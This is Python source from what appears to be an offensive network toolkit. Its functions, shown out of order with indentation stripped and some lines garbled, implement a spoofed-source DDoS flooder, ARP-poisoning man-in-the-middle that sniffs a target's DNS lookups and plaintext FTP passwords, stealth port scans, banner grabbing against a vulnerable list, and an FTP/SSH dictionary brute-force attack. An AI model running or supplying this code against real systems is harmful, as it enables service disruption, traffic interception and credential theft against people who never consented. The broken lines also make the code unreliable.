def ddos_attack(attackers_ips, ips, ports, duration):
menu_utils.header('DDoS attack, target IPs: %s ' % ips)
menu_utils.mixed_info("Attackers IPs: ", attackers_ips)
menu_utils.mixed_info("Ports: ", ports)
menu_utils.mixed_info("Duration: ", "%s seconds" % duration)
menu_utils.highlighted_info("Progress:\n")
t0 = time.time()
pkt_counter = 0
thread_list = []
while time.time() < (t0 + duration):
chosen_attacker_ip = random.choice(attackers_ips)
chosen_ip = random.choice(ips)
chosen_port = random.choice(ports)
t = threading.Thread(target=_send_packet, args=(chosen_attacker_ip, chosen_ip, chosen_port,))
t.start()
thread_list.append(t)
if pkt_counter % config_params.MAX_NUMBER_THREADS == 0:
for thread in thread_list:
thread.join() # closing threads
thread_list = []
pkt_counter += 1
additional_info = "attack: %s -> %s:%s" % (chosen_attacker_ip, chosen_ip, chosen_port)
menu_utils.progress_bar(int(100*(time.time() - t0)/duration),
config_params.DISPLAY["progress_bar_width"], additional_info)
menu_utils.super_highlighted_info("\n%s DDoS packets successfully sent" % pkt_counter)
def _arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
menu_utils.super_highlighted_info("\nARP poison attack is ACTIVE [CTRL-C to stop]")
while continue_poison:
send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip), verbose=False)
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), verbose=False)
time.sleep(5)
menu_utils.highlighted_info("ARP poison thread released")
def from_facets(search_string, chosen_facets):
"""This prints the result from a shodan search with a given facet"""
# Developer Shodan API key
shodan_key_string = open(
config_params.SHODAN_KEY_FILE).readline().rstrip('\n')
# Connecting to the SHODAN DB
shodan_api = shodan.Shodan(shodan_key_string)
facets = load_facets()
try:
# Use the count() method because it doesn't return results and doesn't require a paid API plan
# And it also runs faster than doing a search().
result = shodan_api.count(search_string, facets=chosen_facets)
menu_utils.highlighted_info('Results found: %s' % result['total'])
# Print the summary info from the facets
if 'facets' in result.keys():
for facet in result['facets']:
if facet in facets.keys():
menu_utils.header(facets[facet] % chosen_facets[0][1])
for term in result['facets'][facet]:
menu_utils.mixed_info("[+] " + str(term['value']) + ": ",
str(term['count']))
except shodan.APIError as e:
menu_utils.error(e)
def mitm_attack(network_iface, target_ip, gateway_ip, ports=None):
global h_mac, t_ip, g_ip, t_mac, g_mac, continue_poison, domain_list, poison_thread, plain_ports
h_mac = get_if_hwaddr(network_iface)
t_ip = target_ip
g_ip = gateway_ip
g_mac = "not-valid"
domain_list = {}
continue_poison = True
plain_ports = ports
signal.signal(signal.SIGINT, _keyboard_interrupt_handler)
menu_utils.header('Navigation eavesdropping attack, target IP: %s ' % target_ip)
menu_utils.mixed_info("Network interface: ", network_iface)
menu_utils.mixed_info("Gateway IP: ", gateway_ip)
menu_utils.header("Stage 1: Poisoning ARP")
t_mac = _get_mac(network_iface, t_ip, 10)
if t_mac is None:
menu_utils.warning("Unable to get target MAC address")
return None
else:
menu_utils.mixed_info("Target MAC address: ", t_mac)
g_mac = _get_mac(network_iface, g_ip, 10)
if g_mac is None:
menu_utils.warning("Unable to get gateway MAC address")
return None
else:
menu_utils.mixed_info("Gateway MAC address: ", g_mac)
menu_utils.highlighted_info("Enabling IP forwarding")
# Enable IP Forwarding on a mac
os.system("sysctl -w net.inet.ip.forwarding=1")
# ARP poison thread
poison_thread = threading.Thread(target=_arp_poison, args=(g_ip, g_mac, t_ip, t_mac))
poison_thread.start()
if not ports:
# Sniff DNS traffic
bpf_dns_filter = f"udp port 53 and ip src {target_ip}"
menu_utils.header("Stage 2: Eavesdropping target DNS traffic")
sniff(iface=network_iface, filter=bpf_dns_filter,
prn=_target_dns_sniffer, stop_filter=_stop_dns_sniffer, store=0)
else:
# Sniff passwords
bpf_ftp_filter = f"tcp port {plain_ports[0]} and (ip src {target_ip} or ip dst {target_ip})"
menu_utils.header("Stage 2: Eavesdropping FTP plain passwords")
sniff(iface=network_iface, filter=bpf_ftp_filter,
prn=_target_passwd_sniffer, stop_filter=_stop_passwd_sniffer, store=0)
signal.signal(signal.SIGINT, _main_keyboard_interrupt_handler)
def _target_dns_sniffer(pkt):
if 'DNS' in pkt:
if pkt[DNS].qr == 0:
domain = str(pkt[DNS].qd.qname)
if domain not in domain_list:
domain_list[domain] = 1
if "www." in domain:
menu_utils.highlighted_info("%s -> %s: %s" % (pkt[IP].src, pkt[IP].dst, domain))
else:
print("%s -> %s: %s" % (pkt[IP].src, pkt[IP].dst, domain))
else:
domain_list[domain] += 1
def from_ip(ip):
"""This prints GEO info about a given IP, retrieved from the given geoDB"""
try:
gi = pygeoip.GeoIP(config_params.GEO_FILE)
menu_utils.header("Info retrieved")
menu_utils.mixed_info("[+] Server country code from IP: ",
gi.country_code_by_addr(ip))
menu_utils.mixed_info("[+] Server time zone from IP: ",
gi.time_zone_by_addr(ip))
menu_utils.highlighted_info("[+] Server complete info from IP: ")
pprintpp.pprint(gi.record_by_addr(ip))
except OSError as e:
menu_utils.error(e)
def scan(ip, ports):
nm = nmap.PortScanner()
nm.scan(ip, ports)
if nm.all_hosts():
menu_utils.header("NMAP SCAN, IP: %s " % ip)
menu_utils.mixed_info("Scan info: ", nm.scaninfo())
menu_utils.mixed_info("Command line: ", nm.command_line())
menu_utils.mixed_info("All hosts: ", nm.all_hosts())
menu_utils.highlighted_info("CSV file: ")
menu_utils.conditional_highlighting(nm.csv(), "open", "closed")
menu_utils.mixed_info("Location: ", dir(nm))
else:
menu_utils.warning("\nNO HOST FOUND IN IP %s" % ip)
def _restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
menu_utils.highlighted_info("Reestablishing ARP cache")
send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), verbose=False,
count=10)
send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), verbose=False,
count=10)
menu_utils.highlighted_info("Disabling IP forwarding")
if plain_ports is None:
flag_pkt = IP(src=target_ip, dst='8.8.8.8')/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname='flag.flag'))
else:
flag_pkt = IP(src=target_ip, dst="192.168.1.1") / TCP(dport=plain_ports[0]) / "flag.flag"
send(flag_pkt, verbose=0) # flag packet to trigger stop_filter
# Disable IP Forwarding on a mac
os.system("sysctl -w net.inet.ip.forwarding=0")
def from_search(search_string):
"""This prints the result from a shodan search with a given string"""
# Developer Shodan API key
shodan_key_string = open(
config_params.SHODAN_KEY_FILE).readline().rstrip('\n')
# Connecting to the SHODAN DB
shodan_api = shodan.Shodan(shodan_key_string)
try:
results = shodan_api.search(search_string) # apache
# Print results
menu_utils.highlighted_info('Results found: %s' % results['total'])
counter = 0
for i in results['matches']:
counter += 1
menu_utils.header('Result #%s' % counter)
if i['ip_str']:
if i['ip_str'] != "":
menu_utils.mixed_info("[+] IP: ", i['ip_str'])
if i['port']:
if i['port'] != "":
menu_utils.mixed_info("[+] Port: ", i['port'])
if i['hostnames']:
if i['hostnames'] != "":
print('Hostnames: ' % i['hostnames'])
menu_utils.mixed_info("[+] Hostnames: ", i['hostnames'])
if i['os']:
if i['os'] != "":
menu_utils.mixed_info("[+] Operating system: ", i['os'])
if i['data']:
if i['data'] != "":
menu_utils.mixed_info("[+] Data: ", i['data'])
if i['timestamp']:
if i['timestamp'] != "":
menu_utils.mixed_info("[+] Timestamp: ", i['timestamp'])
print('')
except shodan.APIError as e:
menu_utils.error(e)
def _ack_scan(ip, port):
""" This method performs ACK scans """
menu_utils.mixed_info("\nACK scan: Analysing port: ", str(port))
response = sr1(IP(dst=ip) / TCP(dport=int(port), flags="A"),
timeout=config_params.SCAPY_TIMEOUT) # Sending flag ACK
print("Response type: " + str(type(response)))
if str(type(response)) == "<class 'NoneType'>":
menu_utils.warning("[-] Firewall found")
return "FILTERED"
elif response.haslayer(TCP):
if response.getlayer(
TCP).flags == 0x4: # Receiving flag RST (00000100b)
menu_utils.highlighted_info("[+] Firewall not found")
return "UNFILTERED"
elif response.haslayer(ICMP): # Receiving ICMP error
if (response.getlayer(ICMP).type == 3) & (int(
response.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]):
menu_utils.warning("[-] Firewall found")
return "FILTERED"
else:
return "UNKNOWN"
def _null_scan(ip, port):
""" This method performs NULL scans """
menu_utils.mixed_info("\nNULL scan: Analysing port: ", str(port))
response = sr1(IP(dst=ip) / TCP(dport=int(port), flags=""),
timeout=config_params.SCAPY_TIMEOUT) # Sending no flags
print("Response type: " + str(type(response)))
if str(type(response)) == "<class 'NoneType'>": # Receiving no answer
menu_utils.highlighted_info("[?] Port %s open or filtered" % port)
return "OPEN|FILTERED"
elif response.haslayer(TCP):
if response.getlayer(
TCP).flags == 0x14: # Receiving flags ACK + RST (00010100b)
menu_utils.warning("[-] Port %s closed" % port)
return "CLOSED"
elif response.haslayer(ICMP): # Receiving ICMP error
if (response.getlayer(ICMP).type == 3) & (int(
response.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]):
menu_utils.warning("[x] Port %s filtered" % port)
return "FILTERED"
else:
return "UNKNOWN"
def _banner_scan(ip, port):
""" Method to obtain the banner corresponding to the port of the IP """
category = ""
banner = ""
try:
menu_utils.mixed_info("\nBanner grab: Analysing port: ", str(port))
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((ip, port))
connection.setblocking(False)
ready = select.select([connection], [], [], config_params.BANNER_TIMEOUT)
if ready[0]:
banner = connection.recv(4096)
print("Banner: " + str(banner))
f = open(config_params.VULNERABLE_BANNERS, 'r')
category = "NON-VULNERABLE"
for banner_vulnerable in f:
if str(banner_vulnerable).strip() in str(banner).strip():
category = "VULNERABLE"
break
if category == "VULNERABLE":
menu_utils.super_highlighted_info('[+] The banner is vulnerable')
else:
menu_utils.highlighted_info('[?] The banner seems NOT vulnerable')
else:
menu_utils.warning('[-] The banner is not available')
category = "UNAVAILABLE"
except (ConnectionRefusedError, FileNotFoundError, TimeoutError) as e:
menu_utils.error(e)
category = "UNAVAILABLE"
return category, banner
def _udp_scan(ip, port):
""" This method performs UDP scans """
menu_utils.mixed_info("\nUDP scan: Analysing port: ", str(port))
response = sr1(IP(dst=ip) / UDP(dport=int(port)),
timeout=config_params.SCAPY_TIMEOUT)
print("Response type: " + str(type(response)))
if str(type(response)) == "<class 'NoneType'>":
menu_utils.highlighted_info("[?] Port %s open or filtered" % port)
return "OPEN|FILTERED"
elif response.haslayer(UDP):
menu_utils.super_highlighted_info("[+] Port % open" % port)
return "OPEN"
elif response.haslayer(ICMP):
if (int(response.getlayer(ICMP).type)
== 3) & (int(response.getlayer(ICMP).code == 3)):
menu_utils.warning("[-] Port %s closed" % port)
return "CLOSED"
elif (int(response.getlayer(ICMP).type) == 3) & (int(
response.getlayer(ICMP).code) in [1, 2, 9, 10, 13]):
menu_utils.warning("[x] Port %s filtered" % port)
return "FILTERED"
else:
return "UNKNOWN"
def dictionary_attack(protocol, ip, port, interval, user, dictionary):
if (protocol.lower() != 'ftp') & (protocol.lower() != 'ssh'):
menu_utils.warning('Only "FTP" or "SSH" protocols are supported')
return
menu_utils.header('Brute force attack, target IP: %s ' % ip)
menu_utils.mixed_info("Protocol:", protocol)
menu_utils.mixed_info("Interval between attempts:",
"%s milliseconds" % interval)
menu_utils.mixed_info("User:"******"Dictionary:", dictionary)
counter = 0
thread_list = []
passwords = file_utils.load_file_as_list(dictionary)
print("%s passwords in the dictionary" % len(passwords))
menu_utils.highlighted_info("Progress:\n")
my_queue = queue.Queue()
if passwords:
for passw in passwords:
time.sleep(interval / 1000)
counter += 1
additional_info = "Trying pass: %s" % passw
menu_utils.progress_bar(
int(100 * counter / len(passwords)),
config_params.DISPLAY["progress_bar_width"], additional_info)
if protocol.lower() == 'ftp':
t = threading.Thread(target=_ftp_connection_attempt,
args=(
ip,
port,
user,
passw,
my_queue,
))
elif protocol.lower() == 'ssh':
t = threading.Thread(target=_ssh_connection_attempt,
args=(
ip,
port,
user,
passw,
my_queue,
))
t.start()
thread_list.append(t)
if counter % config_params.MAX_NUMBER_THREADS == 0:
for thread in thread_list:
thread.join() # closing threads
thread_list = []
if not my_queue.empty(): # the pass is stored in the queue
break
for thread in thread_list:
thread.join() # closing threads
if not my_queue.empty(): # the pass is stored in the queue
menu_utils.super_highlighted_info("\n[+] Password found: %s" %
my_queue.get())
else:
menu_utils.warning("\n[-] Password not found in %s " % dictionary)
else:
menu_utils.warning("\n[-] %s dictionary not found " % dictionary)